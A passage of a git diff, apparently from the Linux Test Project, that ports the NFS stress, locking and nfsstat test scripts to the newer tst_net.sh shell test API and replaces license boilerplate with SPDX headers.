-. test_net.sh
 
 do_test()
 {
 	ITERATIONS=${ITERATIONS:=50000}
-	tst_resm TINFO "starting fsx-linux -N $ITERATIONS..."
-	fsx-linux -N $ITERATIONS testfile 2>&1 > fsx-out.log
+	tst_res TINFO "starting fsx-linux -N $ITERATIONS..."
+	fsx-linux -N $ITERATIONS testfile > fsx-out.log 2>&1
 	if [ "$?" -ne 0 ]; then
-		tst_resm TFAIL "Errors have resulted from this test"
+		tst_res TFAIL "Errors have resulted from this test"
 		cat fsx-out.log
 	else
-		tst_resm TPASS "fsx-linux test passed"
+		tst_res TPASS "fsx-linux test passed"
 	fi
 }
 
-nfs_setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/Makefile b/testcases/network/nfs/nfs_stress/Makefile
index 3162cea..856008c 100644
--- a/testcases/network/nfs/nfs_stress/Makefile
+++ b/testcases/network/nfs/nfs_stress/Makefile
@@ -1,18 +1,6 @@
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (C) 2009, Cisco Systems Inc.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/nfs/nfs_stress/nfs01 b/testcases/network/nfs/nfs_stress/nfs01
index a2dfe68..356e967 100755
--- a/testcases/network/nfs/nfs_stress/nfs01
+++ b/testcases/network/nfs/nfs_stress/nfs01
@@ -1,40 +1,22 @@
 #!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 #  PURPOSE: Stresses NFS by opening a large number of files on a nfs
 #           mounted filesystem.
 #
 # Ported by Robbie Williamson (robbiew@us.ibm.com)
 
-TCID="nfs01"
-TST_TOTAL=1
-TST_CLEANUP="nfs_cleanup"
+TST_TESTFUNC="do_test"
 
 . nfs_lib.sh
-. test_net.sh
 
 do_test()
 {
-	tst_resm TINFO "starting 'nfs01_open_files $NFILES'"
+	tst_res TINFO "starting 'nfs01_open_files $NFILES'"
 	ROD nfs01_open_files $NFILES
-	tst_resm TPASS "test finished successfully"
+	tst_res TPASS "test finished successfully"
 }
 
-nfs_setup
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs02 b/testcases/network/nfs/nfs_stress/nfs02
index a73e958..e80909b 100755
--- a/testcases/network/nfs/nfs_stress/nfs02
+++ b/testcases/network/nfs/nfs_stress/nfs02
@@ -1,72 +1,51 @@
 #! /bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # PURPOSE: Tests NFS copy of various filesizes, file consistency
 #          between copies and preservation of write/nowrite permissions.
 #
 # Ported by: Robbie Williamson (robbiew@us.ibm.com)
 
-TCID="nfs02"
-TST_TOTAL=3
-TST_CLEANUP="nfs_cleanup"
+TST_CNT=3
+TST_TESTFUNC="do_test"
+LTP_DATAFILES="$LTPROOT/testcases/bin/datafiles"
 
 . nfs_lib.sh
-. test_net.sh
 
 do_test1()
 {
-	tst_resm TINFO "do_test1 $TC"
+	tst_res TINFO "do_test1 $TC"
 	ROD cp $LTP_DATAFILES/ascii.jmb .
-	tst_resm TINFO "compare both ascii.jmbs"
+	tst_res TINFO "compare both ascii.jmbs"
 	ROD diff $LTP_DATAFILES/ascii.jmb ascii.jmb
 
-	tst_resm TPASS "test1 passed"
+	tst_res TPASS "test1 passed"
 }
 
 do_test2()
 {
-	tst_resm TINFO "do_test2, copy data files"
+	tst_res TINFO "do_test2, copy data files"
 	local files="ascii.sm ascii.med ascii.lg"
 
 	for f in $files; do
-		tst_resm TINFO "copy '$f' file"
+		tst_res TINFO "copy '$f' file"
 		ROD cp $LTP_DATAFILES/$f .
 		ROD cp $f ${f}cp
 		ROD diff $LTP_DATAFILES/$f ${f}cp
 	done
 
-	tst_resm TPASS "test2 passed"
+	tst_res TPASS "test2 passed"
 }
 
 do_test3()
 {
-	tst_resm TINFO "do_test3, test permissions"
+	tst_res TINFO "do_test3, test permissions"
 	ROD chmod a-wx ascii.sm
 	ROD ls -l ascii.sm | grep -q "r--"
 	ROD chmod a+w ascii.sm
-	tst_resm TPASS "test3 passed"
+	tst_res TPASS "test3 passed"
 }
 
-LTP_DATAFILES="$LTPROOT/testcases/bin/datafiles"
-
-nfs_setup
-
-do_test1
-do_test2
-do_test3
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs03 b/testcases/network/nfs/nfs_stress/nfs03
index e0d0d6e..d68456d 100755
--- a/testcases/network/nfs/nfs_stress/nfs03
+++ b/testcases/network/nfs/nfs_stress/nfs03
@@ -1,31 +1,14 @@
 #! /bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-#  DESCRIPTION: This script sets up the NFS directories in the remote machine
-#               and runs the LTP's filesystem test: fs_inod.
-#
 # Created by: Robbie Williamson (robbiew@us.ibm.com)
 
-TCID="nfs03"
-TST_TOTAL=1
 TST_CLEANUP="nfs03_cleanup"
+TST_SETUP="nfs03_setup"
+TST_TESTFUNC="do_test"
 
 . nfs_lib.sh
-. test_net.sh
 
 DIR_NUM=${DIR_NUM:-"100"}
 FILE_NUM=${FILE_NUM:-"100"}
@@ -34,7 +17,7 @@
 
 make_subdirs()
 {
-	tst_resm TINFO "make '$DIR_NUM' directories"
+	tst_res TINFO "make '$DIR_NUM' directories"
 	for i in $(seq 0 $DIR_NUM); do
 		ROD mkdir -p dir$i
 	done
@@ -64,9 +47,9 @@
 
 do_test()
 {
-	tst_resm TINFO "Multiple processes creating and deleting files"
+	tst_res TINFO "Multiple processes creating and deleting files"
 
-	tst_resm TINFO "creating dir1 subdirectories & files"
+	tst_res TINFO "creating dir1 subdirectories & files"
 	ROD mkdir -p dir1
 	cd dir1
 	make_subdirs
@@ -74,34 +57,31 @@
 	pid1=$!
 	cd ..
 
-	tst_resm TINFO "creating dir2 subdirectories & files"
+	tst_res TINFO "creating dir2 subdirectories & files"
 	ROD mkdir -p dir2
 	cd dir2
 	make_subdirs
 	touch_files &
 	pid2=$!
 
-	tst_resm TINFO "cd dir1 & removing files"
+	tst_res TINFO "cd dir1 & removing files"
 	cd ../dir1
 	wait $pid1
 	rm_files &
 
-	tst_resm TINFO "cd dir2 & removing files"
+	tst_res TINFO "cd dir2 & removing files"
 	cd ../dir2
 	wait $pid2
-	rm_files &
+	rm_files
 
-	# wait for all background processes to complete execution
-	wait
-
-	tst_resm TPASS "test done"
+	tst_res TPASS "test done"
 }
 
 nfs03_setup()
 {
 	nfs_setup
 
-	tst_resm TINFO "Setting server side nfsd count to $THREAD_NUM"
+	tst_res TINFO "Setting server side nfsd count to $THREAD_NUM"
 	ORIG_NFSD=$(tst_rhost_run -s -c 'ps -ef | grep -w nfsd | grep -v grep | wc -l')
 	tst_rhost_run -s -c "rpc.nfsd $THREAD_NUM"
 }
@@ -112,8 +92,4 @@
 	nfs_cleanup
 }
 
-nfs03_setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs04 b/testcases/network/nfs/nfs_stress/nfs04
index e200227..1f59af5 100755
--- a/testcases/network/nfs/nfs_stress/nfs04
+++ b/testcases/network/nfs/nfs_stress/nfs04
@@ -1,20 +1,8 @@
 #!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2003
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 #  PURPOSE: Creates a text file of specified size locally and copies
 #           the file to an NFS mountpoint.  The two files are compared
 #           and checked for differences.  If the files differ, then
@@ -23,17 +11,14 @@
 #
 # Created by: Robbie Williamson (robbiew@us.ibm.com)
 
-TCID="nfs04"
-TST_TOTAL=1
-TST_CLEANUP="nfs_cleanup"
-
+TST_TESTFUNC="do_test"
 . nfs_lib.sh
-. test_net.sh
 
-nfs_setup
+do_test()
+{
+    tst_res TINFO "create 10M file"
+    ROD nfs04_create_file 10 nfs04.testfile
+    tst_res TPASS "Test finished"
+}
 
-tst_resm TINFO "create 10M file"
-ROD nfs04_create_file 10 nfs04.testfile
-tst_resm TPASS "Test finished"
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs05 b/testcases/network/nfs/nfs_stress/nfs05
index af23e33..2742a54 100755
--- a/testcases/network/nfs/nfs_stress/nfs05
+++ b/testcases/network/nfs/nfs_stress/nfs05
@@ -1,43 +1,27 @@
 #!/bin/sh
-# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 #  DESCRIPTION: This script sets up the NFS directories in the remote machine
 #               and invokes the program make_tree with parameters.
 #
 # Created by: Robbie Williamson (robbiew@us.ibm.com)
 
-TCID="nfs05"
-TST_TOTAL=1
-TST_CLEANUP="nfs_cleanup"
-
 DIR_NUM=${DIR_NUM:-"20"}
 FILE_NUM=${FILE_NUM:-"50"}
 THREAD_NUM=${THREAD_NUM:-"8"}
+TST_NEEDS_CMDS="make gcc"
+TST_TESTFUNC="do_test"
 
 . nfs_lib.sh
-. test_net.sh
 
-tst_check_cmds make gcc
+do_test()
+{
+    tst_res TINFO "start nfs05_make_tree -d $DIR_NUM -f $FILE_NUM -t $THREAD_NUM"
+    ROD nfs05_make_tree -d $DIR_NUM -f $FILE_NUM -t $THREAD_NUM
 
-nfs_setup
+    tst_res TPASS "test finished"
+}
 
-tst_resm TINFO "start nfs05_make_tree -d $DIR_NUM -f $FILE_NUM -t $THREAD_NUM"
-ROD nfs05_make_tree -d $DIR_NUM -f $FILE_NUM -t $THREAD_NUM
-
-tst_resm TPASS "test finished"
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs06 b/testcases/network/nfs/nfs_stress/nfs06
index eb35157..3d3e843 100755
--- a/testcases/network/nfs/nfs_stress/nfs06
+++ b/testcases/network/nfs/nfs_stress/nfs06
@@ -1,60 +1,45 @@
 #!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2003
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 #  PURPOSE: Runs fsstress over an NFS mount point for a specified amount
 #           of time. The purpose of this test is to stress the NFS kernel
 #           code and possibly the underlying filesystem where the export
 #           resides.  A PASS is if the test completes.
 
-TCID=nfs06
-TST_TOTAL=1
-TST_CLEANUP="nfs_cleanup"
-
+TST_TESTFUNC="do_test"
+TST_CLEANUP="do_cleanup"
 . nfs_lib.sh
-. test_net.sh
+
+THREAD_NUM=${THREAD_NUM:-"2"}
+
+do_cleanup()
+{
+	[ -n "$pids" ] && kill -9 $pids
+	nfs_cleanup
+}
 
 do_test()
 {
-	tst_resm TINFO "Starting fsstress processes on NFS mounts"
+	tst_res TINFO "Starting fsstress processes on NFS mounts"
 
 	local n=0
 	local pids
 	for i in $VERSION; do
-		fsstress -l 1 -d $TST_TMPDIR/$i/$n -n 1000 -p 50 -r -c > /dev/null &
+		fsstress -l 1 -d $TST_TMPDIR/$i/$n -n 1000 -p $THREAD_NUM -r -c > /dev/null &
 		pids="$pids $!"
 		n=$(( n + 1 ))
 	done
 
-	tst_resm TINFO "waiting for pids:$pids"
+	tst_res TINFO "waiting for pids:$pids"
 	for p in $pids; do
-		wait $p
-		if [ $? -ne 0 ]; then
-			kill -9 $pids
-			tst_brkm TFAIL "fsstress process failed"
-		else
-			tst_resm TINFO "fsstress '$p' completed"
-		fi
+		wait $p || tst_brk TFAIL "fsstress process failed"
+		tst_res TINFO "fsstress '$p' completed"
 	done
+	pids=
 
-	tst_resm TPASS "all fsstress processes completed on '$n' NFS mounts"
+	tst_res TPASS "all fsstress processes completed on '$n' NFS mounts"
 }
 
-nfs_setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs_lib.sh b/testcases/network/nfs/nfs_stress/nfs_lib.sh
index 0abf39d..5a2760a 100644
--- a/testcases/network/nfs/nfs_stress/nfs_lib.sh
+++ b/testcases/network/nfs/nfs_stress/nfs_lib.sh
@@ -1,44 +1,37 @@
 #!/bin/sh
-# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 VERSION=${VERSION:=3}
 NFILES=${NFILES:=1000}
 SOCKET_TYPE="${SOCKET_TYPE:-udp}"
 NFS_TYPE=${NFS_TYPE:=nfs}
 
-while getopts :ht:v:6 opt; do
-	case "$opt" in
-	h)
-		echo "Usage:"
-		echo "h        help"
-		echo "t x      socket type, tcp or udp, default is udp"
-		echo "v x      NFS version, default is '3'"
-		echo "6        run over IPv6"
-		exit 0
-	;;
-	v) VERSION=$OPTARG ;;
-	t) SOCKET_TYPE=$OPTARG ;;
-	6) # skip, test_net library already processed it
-	;;
-	*)
-		tst_brkm TBROK "unknown option: $opt"
-	;;
+nfs_usage()
+{
+	echo "-t x    Socket type, tcp or udp, default is udp"
+	echo "-v x    NFS version, default is '3'"
+}
+
+nfs_parse_args()
+{
+	case "$1" in
+	v) VERSION="$(echo $2 | tr ',' ' ')";;
+	t) SOCKET_TYPE="$(echo $2 | tr ',' ' ')";;
 	esac
-done
+}
+
+TST_OPTS="v:t:"
+TST_PARSE_ARGS=nfs_parse_args
+TST_USAGE=nfs_usage
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="${TST_NEEDS_CMDS:-mount exportfs}"
+TST_SETUP="${TST_SETUP:-nfs_setup}"
+TST_CLEANUP="${TST_CLEANUP:-nfs_cleanup}"
+
+. tst_net.sh
 
 get_socket_type()
 {
@@ -53,15 +46,52 @@
 	done
 }
 
+nfs_setup_server()
+{
+	local export_cmd="exportfs -i -o no_root_squash,rw *:$remote_dir"
+
+	if [ -n "$LTP_NETNS" ]; then
+		if [ ! -d $remote_dir ]; then
+			mkdir -p $remote_dir
+			ROD $export_cmd
+		fi
+		return
+	fi
+
+	if ! tst_rhost_run -c "test -d $remote_dir"; then
+		tst_rhost_run -s -c "mkdir -p $remote_dir; $export_cmd"
+	fi
+}
+
+nfs_mount()
+{
+	local host_type=rhost
+	local mount_dir
+
+	[ -n "$LTP_NETNS" ] && host_type=
+
+	if [ $TST_IPV6 ]; then
+		mount_dir="[$(tst_ipaddr $host_type)]:$remote_dir"
+	else
+		mount_dir="$(tst_ipaddr $host_type):$remote_dir"
+	fi
+
+	local mnt_cmd="mount -t nfs $opts $mount_dir $local_dir"
+
+	tst_res TINFO "Mounting NFS: $mnt_cmd"
+	if [ -n "$LTP_NETNS" ]; then
+		tst_rhost_run -s -c "$mnt_cmd"
+		return
+	fi
+
+	ROD $mnt_cmd
+}
+
 nfs_setup()
 {
-	tst_check_cmds mount exportfs
-
-	tst_tmpdir
-
 	# Check if current filesystem is NFS
 	if [ "$(stat -f . | grep "Type: nfs")" ]; then
-		tst_brkm TCONF "Cannot run nfs-stress test on mounted NFS"
+		tst_brk TCONF "Cannot run nfs-stress test on mounted NFS"
 	fi
 
 	local i
@@ -71,35 +101,19 @@
 	local local_dir
 	local remote_dir
 	local mount_dir
+
 	for i in $VERSION; do
 		type=$(get_socket_type $n)
-		tst_resm TINFO "setup NFSv$i, socket type $type"
+		tst_res TINFO "setup NFSv$i, socket type $type"
 
 		local_dir="$TST_TMPDIR/$i/$n"
 		remote_dir="$TST_TMPDIR/$i/$type"
-
 		mkdir -p $local_dir
 
-		tst_rhost_run -c "test -d $remote_dir"
-		if [ "$?" -ne 0  ]; then
-			tst_rhost_run -s -c "mkdir -p $remote_dir"
-			tst_rhost_run -s -c "exportfs -i -o no_root_squash,rw \
-				*:$remote_dir"
-		fi
+		nfs_setup_server
 
 		opts="-o proto=$type,vers=$i"
-
-		if [ $TST_IPV6 ]; then
-			mount_dir="[$(tst_ipaddr rhost)]:$remote_dir"
-		else
-			mount_dir="$(tst_ipaddr rhost):$remote_dir"
-		fi
-
-
-		tst_resm TINFO "Mounting NFS '$mount_dir'"
-		tst_resm TINFO "to '$local_dir' with options '$opts'"
-
-		ROD mount -t nfs $opts $mount_dir $local_dir
+		nfs_mount
 
 		n=$(( n + 1 ))
 	done
@@ -111,7 +125,7 @@
 
 nfs_cleanup()
 {
-	tst_resm TINFO "Cleaning up testcase"
+	tst_res TINFO "Cleaning up testcase"
 	cd $LTPROOT
 
 	local i
diff --git a/testcases/network/nfs/nfslock01/Makefile b/testcases/network/nfs/nfslock01/Makefile
index e58fb44..a07a99e 100644
--- a/testcases/network/nfs/nfslock01/Makefile
+++ b/testcases/network/nfs/nfslock01/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/nfs/nfslock01 testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir			?= ../../../..
 
diff --git a/testcases/network/nfs/nfslock01/nfs_flock.c b/testcases/network/nfs/nfslock01/nfs_flock.c
index 39f6125..a7673c7 100644
--- a/testcases/network/nfs/nfslock01/nfs_flock.c
+++ b/testcases/network/nfs/nfslock01/nfs_flock.c
@@ -13,9 +13,7 @@
 #define BYTES 64
 #define LINES 16384
 
-int main(argc, argv)
-int argc;
-char **argv;
+int main(int argc, char **argv)
 {
 	int i, fd, mac;
 	int offset = 0;
diff --git a/testcases/network/nfs/nfslock01/nfslock01 b/testcases/network/nfs/nfslock01/nfslock01
index ab04246..ee994eb 100755
--- a/testcases/network/nfs/nfslock01/nfslock01
+++ b/testcases/network/nfs/nfslock01/nfslock01
@@ -1,32 +1,18 @@
 #!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 #  PURPOSE:
 #           Two processes open FLOCK_IDATA file simultaneously
 #           each one locks odd and even lines of the file simultaneously
 #           and fill them with '0's and '1's. After they find eof, the
 #           datafiles are compared.
 
-TCID=nfslock
-TST_TOTAL=1
-TST_CLEANUP="nfs_cleanup"
+TST_SETUP="do_setup"
+TST_TESTFUNC="do_test"
 
 . nfs_lib.sh
-. test_net.sh
 
 LUSER=${LUSER:=root}
 
@@ -34,50 +20,46 @@
 {
 	nfs_setup
 
-	tst_resm TINFO "creating test files"
+	tst_res TINFO "creating test files"
 	ROD nfs_flock_dgen flock_data 63 16384 0
 	ROD nfs_flock_dgen flock_odata 63 16384 1
 
 	[ "$(wc -c flock_data | awk '{print $1}')" -ne 1048576 ] && \
-		tst_brkm TBROK "could not create 'flock_data'"
+		tst_brk TBROK "could not create 'flock_data'"
 
 	[ "$(wc -c flock_odata | awk '{print $1}')" -ne 1048576 ] && \
-		tst_brkm TBROK "could not create 'flock_odata'"
+		tst_brk TBROK "could not create 'flock_odata'"
 }
 
 do_test()
 {
-	tst_resm TINFO "Testing locking"
+	tst_res TINFO "Testing locking"
 
 	ROD cp flock_data flock_idata
 
-	tst_resm TINFO "locking 'flock_idata' file and writing data"
+	tst_res TINFO "locking 'flock_idata' file and writing data"
 
 	nfs_flock 0 flock_idata &
 	local pids=$!
 	nfs_flock 1 flock_idata &
 	pids="$pids $!"
 
-	tst_resm TINFO "waiting for pids: $pids"
+	tst_res TINFO "waiting for pids: $pids"
 	for p in $pids; do
 		wait $p
 		if [ $? -ne 0 ]; then
-			tst_brkm TFAIL "nfs_lock process failed"
+			tst_brk TFAIL "nfs_lock process failed"
 		else
-			tst_resm TINFO "$p completed"
+			tst_res TINFO "$p completed"
 		fi
 	done
 
 	diff flock_odata flock_idata
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "content is different"
+		tst_res TFAIL "content is different"
 	else
-		tst_resm TPASS "content is the same"
+		tst_res TPASS "content is the same"
 	fi
 }
 
-do_setup
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/nfs/nfsstat01/Makefile b/testcases/network/nfs/nfsstat01/Makefile
index 73ed609..6c6c4fd 100644
--- a/testcases/network/nfs/nfsstat01/Makefile
+++ b/testcases/network/nfs/nfsstat01/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/nfs/nfsstat01 test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/nfs/nfsstat01/nfsstat01 b/testcases/network/nfs/nfsstat01/nfsstat01
index 256fe60..b5ecb83 100755
--- a/testcases/network/nfs/nfsstat01/nfsstat01
+++ b/testcases/network/nfs/nfsstat01/nfsstat01
@@ -1,34 +1,12 @@
 #!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-#
 
-TCID=nfsstat01
-TST_TOTAL=4
-TST_CLEANUP="nfs_cleanup"
+TST_TESTFUNC="do_test"
+TST_NEEDS_CMDS="nfsstat"
 
 . nfs_lib.sh
-. test_net.sh
-
-setup()
-{
-	tst_check_cmds nfsstat
-	nfs_setup
-}
 
 get_calls()
 {
@@ -56,33 +34,33 @@
 #           tracking using the 'nfsstat' command and /proc/net/rpc
 do_test()
 {
-	tst_resm TINFO "checking RPC calls for server/client"
+	tst_res TINFO "checking RPC calls for server/client"
 
 	local server_calls="$(get_calls rpc 2 nfsd)"
 	local client_calls="$(get_calls rpc 2 nfs)"
 
-	tst_resm TINFO "calls $server_calls/$client_calls"
+	tst_res TINFO "calls $server_calls/$client_calls"
 
-	tst_resm TINFO "Checking for tracking of RPC calls for server/client"
+	tst_res TINFO "Checking for tracking of RPC calls for server/client"
 	cat /proc/cpuinfo > nfsstat01.tmp
 
 	local new_server_calls="$(get_calls rpc 2 nfsd)"
 	local new_client_calls="$(get_calls rpc 2 nfs)"
-	tst_resm TINFO "new calls $new_server_calls/$new_client_calls"
+	tst_res TINFO "new calls $new_server_calls/$new_client_calls"
 
 	if [ "$new_server_calls" -le "$server_calls" ]; then
-		tst_resm TFAIL "server RPC calls not increased"
+		tst_res TFAIL "server RPC calls not increased"
 	else
-		tst_resm TPASS "server RPC calls increased"
+		tst_res TPASS "server RPC calls increased"
 	fi
 
 	if [ "$new_client_calls" -le "$client_calls" ]; then
-		tst_resm TFAIL "client RPC calls not increased"
+		tst_res TFAIL "client RPC calls not increased"
 	else
-		tst_resm TPASS "client RPC calls increased"
+		tst_res TPASS "client RPC calls increased"
 	fi
 
-	tst_resm TINFO "checking NFS calls for server/client"
+	tst_res TINFO "checking NFS calls for server/client"
 	local field=
 	case $VERSION in
 	2) field=13
